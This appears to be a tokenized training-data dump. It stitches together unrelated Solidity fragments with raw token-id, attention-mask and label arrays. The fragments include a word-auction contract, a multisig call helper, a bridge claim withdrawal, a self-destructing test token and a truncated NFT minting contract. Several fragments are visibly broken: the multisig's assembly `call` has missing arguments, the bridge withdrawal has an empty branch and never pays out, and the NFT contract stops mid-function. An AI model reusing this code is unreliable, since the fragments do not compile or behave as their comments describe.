1147,
2673,
18,
2469,
30943,
288,
203,
1377,
2583,
12,
334,
9477,
1996,
2790,
63,
2316,
2673,
63,
77,
13563,
422,
1234,
18,
15330,
16,
315,
6050,
931,
510,
6159,
30,
2288,
326,
384,
6388,
434,
326,
1147,
8863,
203,
1377,
1519,
1231,
1345,
18,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
1234,
18,
15330,
16,
1147,
2673,
63,
77,
19226,
203,
1377,
384,
9477,
1996,
2790,
63,
2316,
2673,
63,
77,
13563,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
3626,
3423,
9446,
82,
12,
3576,
18,
15330,
16,
3844,
16,
1147,
2673,
16,
404,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.22 <0.6.0;
pragma experimental ABIEncoderV2;
contract SimpleStorage {
// ##########
// More comments soon.
// ##########
// Word Struct
struct Word {
string word;
string username;
uint256 price;
string message;
address payable owner;
}
// Address that receives the XDCs at the first purchase. Avoid burning XDC.
address payable bank = 0x76C1A0927873D4D784A2D5Cf6Ea24D7f86a8F6dc;
// Public array of words stored in blockchain
Word[] public words;
// Function to return specific word
function getWord(string memory _word) public view returns (string memory, string memory, uint256 price, string memory, address owner) {
uint arrayLength = words.length;
for (uint i=0; i < arrayLength; i++) {
if(keccak256(abi.encodePacked(words[i].word)) == keccak256(abi.encodePacked(_word))) {
return (words[i].word, words[i].username, words[i].price, words[i].message, words[i].owner);
}
}
}
// Function return all words
function getWords() public view returns (Word[] memory) {
return words;
}
// Buy specific word
function buyWord(string memory _word, string memory _username, string memory _message) payable public returns (string memory){
uint256 amount = msg.value;
Word memory localWord = Word(_word, _username, amount, _message, msg.sender);
uint arrayLength = words.length;
bool canBuy = true;
bool wordAlreadyTaken = false;
string memory cbMessage = "";
uint256 wordIndex = 0;
address payable creditorAddresses;
uint256 prevAmout = 0;
for (uint i=0; i < arrayLength; i++) {
if( keccak256(abi.encodePacked(words[i].word)) == keccak256(abi.encodePacked(_word)) ) {
prevAmout = words[i].price;
if(prevAmout < amount) {
wordAlreadyTaken = true;
cbMessage = "Achat réussi !";
wordIndex = i;
creditorAddresses = words[i].owner;
} else {
canBuy = false;
cbMessage = "Prix trop bas pour acheter ce mot.";
}
}
}
if(canBuy == true && wordAlreadyTaken == true) {
if( amount < (prevAmout + 1000000000000000000)) {
return "You must bid at least 1 XDC more.";
} else {
// Send XDC to the previous Owner
creditorAddresses.transfer(amount);
// Update Blockchain
words[wordIndex] = localWord;
return "Buy Done.";
}
}
if(canBuy == true && wordAlreadyTaken == false) {
if(amount < 1000000000000000000) {
return "Price 1 XDC min.";
} else {
words.push(localWord);
bank.transfer(amount);
return "Buy done.";
}
}
}
}
| Public array of words stored in blockchain | Word[] public words;
| 12,904,478 | [
1,
4782,
526,
434,
4511,
4041,
316,
16766,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9926,
8526,
1071,
4511,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/10/0xA5e6EFdA500FD0BCEd87B2cd8Af1c81c0cc9D556/sources/MultiSigWallet.sol | call has been separated into its own function in order to take advantage of the Solidity's code generator to produce a loop that copies tx.data into memory. | function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
result := call(
gas,
destination,
value,
d,
x,
)
}
return result;
}
| 3,779,809 | [
1,
1991,
711,
2118,
8936,
1368,
2097,
4953,
445,
316,
1353,
358,
4862,
1261,
7445,
410,
434,
326,
348,
7953,
560,
1807,
981,
4456,
358,
11402,
279,
2798,
716,
13200,
2229,
18,
892,
1368,
3778,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3903,
67,
1991,
12,
2867,
2929,
16,
2254,
460,
16,
2254,
27972,
16,
1731,
3778,
501,
13,
2713,
1135,
261,
6430,
13,
288,
203,
3639,
1426,
563,
31,
203,
203,
3639,
19931,
288,
203,
5411,
563,
519,
745,
12,
203,
7734,
16189,
16,
203,
7734,
2929,
16,
203,
7734,
460,
16,
203,
7734,
302,
16,
203,
7734,
619,
16,
203,
5411,
262,
203,
3639,
289,
203,
3639,
327,
563,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/10/0x7E8C335b22a37070a9B70B8AaAe6a57390BCb704/sources/contracts/GasStation.sol | * @notice Returns an array of addresses of tokens that can be used to pay for gas/ | function feeTokens() external view returns (address[] memory) {
return _feeTokensStore.values();
}
| 3,782,672 | [
1,
1356,
392,
526,
434,
6138,
434,
2430,
716,
848,
506,
1399,
358,
8843,
364,
16189,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14036,
5157,
1435,
3903,
1476,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
3639,
327,
389,
21386,
5157,
2257,
18,
2372,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x8F53f533531a40BdaA832254e282ed1b21D83F71/sources/src/bridge/FastBridgeReceiverOnEthereum.sol | * @dev Sends the deposit back to the Bridger if their claim is not successfully challenged. Includes a portion of the Challenger's deposit if unsuccessfully challenged. @param _epoch The epoch associated with the claim deposit to withraw./ | function withdrawClaimDeposit(uint256 _epoch) external override {
Claim storage claim = claims[_epoch];
require(claim.bridger != address(0), "Claim does not exist");
require(claim.honest == true, "Claim failed.");
require(claim.depositAndRewardWithdrawn == false, "Claim deposit and any rewards already withdrawn.");
uint256 amount = deposit;
if (challenges[_epoch].challenger != address(0) && challenges[_epoch].honest == false) {
}
claim.depositAndRewardWithdrawn = true;
emit ClaimDepositWithdrawn(_epoch, claim.bridger);
| 1,938,780 | [
1,
10501,
326,
443,
1724,
1473,
358,
326,
605,
1691,
693,
309,
3675,
7516,
353,
486,
4985,
462,
7862,
2423,
18,
657,
8993,
279,
14769,
434,
326,
1680,
7862,
693,
1807,
443,
1724,
309,
640,
4768,
4095,
462,
7862,
2423,
18,
225,
389,
12015,
1021,
7632,
3627,
598,
326,
7516,
443,
1724,
358,
598,
1899,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
9762,
758,
1724,
12,
11890,
5034,
389,
12015,
13,
3903,
3849,
288,
203,
3639,
18381,
2502,
7516,
273,
11955,
63,
67,
12015,
15533,
203,
203,
3639,
2583,
12,
14784,
18,
14400,
693,
480,
1758,
12,
20,
3631,
315,
9762,
1552,
486,
1005,
8863,
203,
3639,
2583,
12,
14784,
18,
76,
265,
395,
422,
638,
16,
315,
9762,
2535,
1199,
1769,
203,
3639,
2583,
12,
14784,
18,
323,
1724,
1876,
17631,
1060,
1190,
9446,
82,
422,
629,
16,
315,
9762,
443,
1724,
471,
1281,
283,
6397,
1818,
598,
9446,
82,
1199,
1769,
203,
203,
3639,
2254,
5034,
3844,
273,
443,
1724,
31,
203,
3639,
309,
261,
343,
7862,
2852,
63,
67,
12015,
8009,
343,
7862,
693,
480,
1758,
12,
20,
13,
597,
462,
7862,
2852,
63,
67,
12015,
8009,
76,
265,
395,
422,
629,
13,
288,
203,
3639,
289,
203,
203,
3639,
7516,
18,
323,
1724,
1876,
17631,
1060,
1190,
9446,
82,
273,
638,
31,
203,
3639,
3626,
18381,
758,
1724,
1190,
9446,
82,
24899,
12015,
16,
7516,
18,
14400,
693,
1769,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol";
/// @notice A test ERC20 token that can destroy itself.
contract SelfDestructingToken is ERC20, ERC20Detailed, Ownable {
string private constant _name = "Self Destructing Token";
string private constant _symbol = "SDT";
uint8 private constant _decimals = 18;
uint256 public constant INITIAL_SUPPLY =
1000000000 * 10**uint256(_decimals);
/// @notice The SelfDestructingToken Constructor.
constructor() public {
ERC20Detailed.initialize(_name, _symbol, _decimals);
Ownable.initialize(msg.sender);
_mint(msg.sender, INITIAL_SUPPLY);
}
function destruct() public onlyOwner {
selfdestruct(msg.sender);
}
}
| @notice A test ERC20 token that can destroy itself. | contract SelfDestructingToken is ERC20, ERC20Detailed, Ownable {
string private constant _name = "Self Destructing Token";
string private constant _symbol = "SDT";
uint8 private constant _decimals = 18;
uint256 public constant INITIAL_SUPPLY =
1000000000 * 10**uint256(_decimals);
constructor() public {
ERC20Detailed.initialize(_name, _symbol, _decimals);
Ownable.initialize(msg.sender);
_mint(msg.sender, INITIAL_SUPPLY);
}
function destruct() public onlyOwner {
selfdestruct(msg.sender);
}
}
| 13,086,853 | [
1,
37,
1842,
4232,
39,
3462,
1147,
716,
848,
5546,
6174,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
18954,
6305,
8813,
310,
1345,
353,
4232,
39,
3462,
16,
4232,
39,
3462,
40,
6372,
16,
14223,
6914,
288,
203,
565,
533,
3238,
5381,
389,
529,
273,
315,
10084,
10597,
8813,
310,
3155,
14432,
203,
565,
533,
3238,
5381,
389,
7175,
273,
315,
55,
9081,
14432,
203,
565,
2254,
28,
3238,
5381,
389,
31734,
273,
6549,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
28226,
67,
13272,
23893,
273,
203,
3639,
15088,
3784,
380,
1728,
636,
11890,
5034,
24899,
31734,
1769,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
4232,
39,
3462,
40,
6372,
18,
11160,
24899,
529,
16,
389,
7175,
16,
389,
31734,
1769,
203,
3639,
14223,
6914,
18,
11160,
12,
3576,
18,
15330,
1769,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
28226,
67,
13272,
23893,
1769,
203,
565,
289,
203,
203,
565,
445,
23819,
1435,
1071,
1338,
5541,
288,
203,
3639,
365,
5489,
8813,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//@author: Linorth ([email protected])
/**
????????????????????????J???????????????????????????????????????????????????????????????????????????
???????????????????????5#BJ?????????????????????????????????????????????????????????????????????????
???????????????????????G#GB???????????????????????????????????????????????YB5???????????????????????
[email protected]?#G?????????????????????????????????????????????J&B&J??????????????????????
???????????????????????J&P!BBJ???????????????????????????????????????????P#J&J??????????????????????
????????????????????????G&7!G&[email protected]?J&J??????????????????????
????????????????????????J&5!!Y&BJ?????????????JJJJJJJJJ????????????????Y&Y~5&J??????????????????????
?????????????????????????P&?7!!P&GY????JY5PBB##&&&&&&&&#BGPYJ?????????Y&Y~7G#???????????????????????
??????????????????????????#G777~7P&B55B#&&&&&&#########&&&&&#G5J?????P#?~77&P???????????????????????
??????????????????????????J&57777~!YB&&&#####################&@&[email protected]???????????????????????
???????????????????????????5&Y77777!!!J5B######################&@#G57~7777B#????????????????????????
????????????????????????????5&Y7777777!!?#######################GJ!!77777Y&Y????????????????????????
?????????????????????????????5&57??777777B#####################&5!777777J&5?????????????????????????
??????????????????????????????Y&BJJ?7777?################&&&####G77?J?75&5??????????????????????????
???????????????????????????????&@#PJ777?B################&#######P??7JG#Y???????????????????????????
??????????????????????Y55J????J&&#&#G55B#########################&BPG#P????J????????????????????????
[email protected]@&BY??J&&####&&############################@#???YG#&#Y??????????????????????
[email protected]&&&P??#@#######&&#&&&#####################@[email protected]&@@GJ??????????????????????
????????????????????????#@#&@[email protected]######&G!~7YG#&################&&#@[email protected]&B#@5????????????????????????
[email protected]#&@#[email protected]&######~:::::!YB&############&GYP#@@@&[email protected]?????????????????????????
????????????????????????J&BP#&&&@&#####&~::::!YJ75##########&BJ^::[email protected]&&[email protected]??????????????????????????
[email protected]#&&&&&###&G^:::7PGY:~P&######BJ75J::P&&@P&&J??????????????????????????
??????????????????????????##Y5&@@&##&&##&B7::!PGJ::P&#####&7.7GY^Y#@&[email protected]???????????????????????????
??????????????????????????J#B5#@@@@&#####&&GJ?J?~7P&####&&&B7!YPB##[email protected]????????????????????????????
???????????????????????????J##5Y55PG#######&&&#B#&&########&&######G##Y?????????????????????????????
????????????????????????????JP#BP55P&#######GPB#&&&&&&&#&&&&&&###B&&Y???????????????????????????????
[email protected]&####&5..^J?JYGPGBBBBBBPGB###@P????????????????????????????????
[email protected]&###B^.!^..:!..^!.:~!.:!P#&&J????????????????????????????????
????????????????????????????????????YG&&&&#&BY!.. !:..~~...7..JB&&Y?????????????????????????????????
??????????????????????????????????JG&&####&&&&#GYJY!~^7!^~~YYG&@#J??????????????????????????????????
?????????????????????????????????P&&##########&&&&&&&#####&&&&&@#Y??????????????????????????????????
[email protected]&#############################&&5?????????????????????????????????
[email protected]#######&##&&#################&##@&Y????????????????????????????????
[email protected]&######&&##&###################&##@#J???????????????????????????????
?????????????????????????????J&&#######&&######################&&#&@P???????????????????????????????
[email protected]########&&######################&###@&J??????????????????????????????
[email protected]&#########&######################&###&@G??????????????????????????????
[email protected]&########&&#######################&###@&J?????????????????????????????
[email protected]#########&#########################&##&@P?????????????????????????????
???????????????????????????J&@########&&##########################&#&@G?????????????????????????????
[email protected]&########&&##########################&##@#?????????????????????????????
*/
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./ECDSA.sol";
import "./IERC2981.sol";
contract Sinners is ERC721Enumerable, IERC2981, Ownable {
using SafeMath for uint256;
uint256 public maxsinners = 6666;
uint256 public teamReserveCount = 100;
uint256 public teamReserveMinted = 0;
bool public maxsinnersFrozenForever = false;
bool public publicSale = false;
bool public revealed = false;
uint256 public price = 0.06 ether;
uint256 public publicSaleOffset = teamReserveCount; //first 100 sinners are reserved for team
uint256 public maxMintAmount = 3;
address private ticketSignerAddress;
string private baseURI;
mapping(address => uint256) public addressMintedBalance;
struct SinnersTicket {
uint256 tokenId;
uint256 expire;
bytes signature;
}
event Reveal();
constructor() ERC721("Sinners","SIN") { // add your own name here
baseURI = "https://sinnersnft.com/api/sinner/";
transferOwnership(0x87093A904d4a096eC105e517De61AE81Aaffb7EA); // add your owner address in paranteses
revealed = true;
emit Reveal();
}
//public interface
function mintSinnersPublic(uint count) external payable {
require(publicSale, 'Public Sale is Not Active');
require(totalSupply().sub(teamReserveMinted).add(count) <= maxsinners.sub(teamReserveCount), "Not Enough sinners");
require(msg.value >= price.mul(count), "Not Enough Ether");
uint256[] memory sinners = getUnmintedsinners(count);
for (uint256 i = 0; i < count; i++) {
_safeMint(msg.sender, sinners[i]);
}
}
function mintSinnersByTicket(SinnersTicket[] calldata tickets) external payable{
require(msg.value >= 0.03 ether);
require(totalSupply().add(tickets.length) <= maxsinners, "Not Enough sinners");
